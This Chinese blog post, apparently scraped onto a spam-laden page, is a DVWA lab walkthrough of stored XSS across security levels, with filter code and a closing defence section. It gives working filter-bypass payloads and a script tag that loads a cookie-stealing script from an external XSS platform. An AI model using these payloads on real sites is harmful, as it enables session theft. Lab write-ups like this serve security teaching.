当前位置: 首页 > news >正文

网站代码优化方案网站空间免备案

网站代码优化方案,网站空间免备案,wordpress 办公主题,wordpress插件密钥实现目录 一、Low级别 1.1 环境与代码分析 1.2 实战攻击演示 二、Medium级别绕过 2.1 防护机制分析 2.2 绕过技术详解 三、高安全级绕过 3.1 严格过滤机制 3.2绕过方案 四、防御体系构建指南 4.1 安全防护对比表 4.2 impossible代码 4.3各安全级别对比表 一、Low级别 …

目录

一、Low级别

1.1 环境与代码分析

1.2 实战攻击演示

二、Medium级别绕过

2.1 防护机制分析

2.2 绕过技术详解

三、高安全级绕过

3.1 严格过滤机制

3.2绕过方案

四、防御体系构建指南

4.1 安全防护对比表

4.2 impossible代码

4.3各安全级别对比表


一、Low级别

1.1 环境与代码分析

安全设置:DVWA Security → Low 漏洞文件vulnerabilities/xss_stored/source/low.php

// 关键漏洞代码:
$message = stripslashes($_POST['mtxMessage']);
$name = stripslashes($_POST['txtName']);
// 直接存入数据库
$query = "INSERT INTO guestbook VALUES ('$message','$name')";
stripslashes() 作用去除字符串中的反斜线转义字符
将 \' 转换为 '
将 \" 转换为 "
将 \\ 转换为 \
将 \0 转换为 NULL 字符

PHP stripslashes() 函数详解-CSDN博客

1.2 实战攻击演示

基础验证Payload

<script>alert(document.cookie)</script>

插入payload代码,刷新页面触发xss

高级利用(插入js)

<script src="http://192.168.21.4/BlueLotus/myjs/cookie.js"></script>

xss平台收到cookie

二、Medium级别绕过

2.1 防护机制分析

安全设置:DVWA Security → Medium 过滤代码medium.php

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );

trim() 作用

去除字符串首尾空白字符

strip_tags()作用

移除 <div> 标签及其属性
移除 <p> 标签
保留标签间文本内容
移除 <!-- 注释 -->
移除 <b> 标签但保留其内容

htmlspecialchars()作用:

& → &amp;
" → &quot; (当使用 ENT_QUOTES 时)
' → &#039; (当使用 ENT_QUOTES 时)
< → &lt;
> → &gt;

str_replace()作用

过滤name字段中<script>

PHP strip_tags() 函数详解-CSDN博客

PHP addslashes() 函数详解-CSDN博客

2.2 绕过技术详解

技术1:事件处理器绕过

name参数未转义,可插入html代码,输入存在前端字符数限制,增大字符数10-->100,绕过前端限制

<img src=x onerror=alert(/111/)>

或者抓包后,进行修改

通过onerror事件触发xss

技术2:大小写混淆

<ScRiPt>prompt("1")</ScRiPt>

技术3:属性字符突破

<svg><script>alert&#40;1&#41;</script>

代码分析:HTML实体编码部分字符绕过检测

三、高安全级绕过

3.1 严格过滤机制

安全设置:DVWA Security → High 防护代码high.php

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );//过滤字符串中的 <script> 标签及其变体

addslashes()作用

转义特殊字符:
单引号(')→ 转义为 \'
双引号(")→ 转义为 \"
反斜线(\)→ 转义为 \\
NULL 字符(\0)→ 转义为 \0

主要用途:
准备要存入数据库的字符串数据
防止特殊字符破坏字符串结构
处理可能包含危险字符的用户输入

3.2绕过方案

方案1:SVG矢量攻击 --name字段插入

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"/>

图4:SVG命名空间下的XSS执行

方案2:HTML5新特性

<details open ontoggle=alert(1)>

四、防御体系构建指南

4.1 安全防护对比表

防护层低级别漏洞中级别改进高级别方案
输入过滤基础HTML编码严格上下文编码
输出编码部分实现多重编码
CSP策略推荐配置

4.2 impossible代码

<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );
​// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );
​// Sanitize name input$name = stripslashes( $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$name = htmlspecialchars( $name );
​// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

用户输入:<script>alert(1)</script>
经过 htmlspecialchars() 转义后存入数据库:
&lt;script&gt;alert(1)&lt;/script&gt;
从数据库读取后直接输出到 HTML 时,浏览器会显示为文本而非执行脚本。

4.3各安全级别对比表

安全级别过滤函数可绕过方式危险程度
Lowstripslashes()任何标准XSS★★★★★
Mediumhtmlspecialchars()事件处理器/大小写★★★☆
Highhtmlspecialchars(ENT_QUOTES)SVG/高级HTML5★★☆
http://www.dtcms.com/a/558381.html

相关文章:

  • 国际网站群建设方案自适应企业网站源码
  • 如何在自己的服务器上做网站门户网站建设基本情况
  • 网站建设维护公司靓号网站建设
  • JVM 调优方案
  • 技术准备七:websocket
  • 牡丹江建设行业协会网站网站推广技术哪家好
  • 盐田做网站的公司网站建设个网站一般需要花多少钱
  • 绍兴做网站选哪家企业培训课程ppt
  • 网站建设实习生怎么样广州专门做网站的公司
  • 服务器下载安装重庆做网站优化推广的公司
  • 深圳网站建设799元起全包域名开发app和微网站有哪些功能
  • Mysql三层架构
  • 高端网站定制北京新乡专业做网站的公司哪家好
  • 门户网站开发简历如何做网站页面赚钱
  • 【SpringCloud(9)】SpringCloud Sleuth链路追踪;核心概念-跟踪、跨度;ZipKin集成
  • 做电影资讯网站算侵权吗视频模板网站
  • 鸿蒙三方库介绍
  • 个人网站logo生成如何做外贸业务
  • 建设网站尺寸多少营销渠道的三个类型
  • 快速上手大模型:深度学习4(实践:多层感知机)
  • vue做单页面网站烟台网站建设方案推广
  • Visual Basic 动态定制菜单
  • 2025年--Lc229-32. 最长有效括号(栈)-Java版
  • 时移世易,篡改天机:吾以 Go 语令 Windows 文件“返老还童“记
  • 做网站的软件是什么网站开发需要逻辑吗
  • 海阳做网站网站建设需要工作计划
  • 通信工程网站建设primitive technology wordpress
  • 响应式网站的费用佛山网站建设邓先生
  • 做单本小说网站怎么样企业网站的建设报价
  • 计算机操作系统:设备驱动程序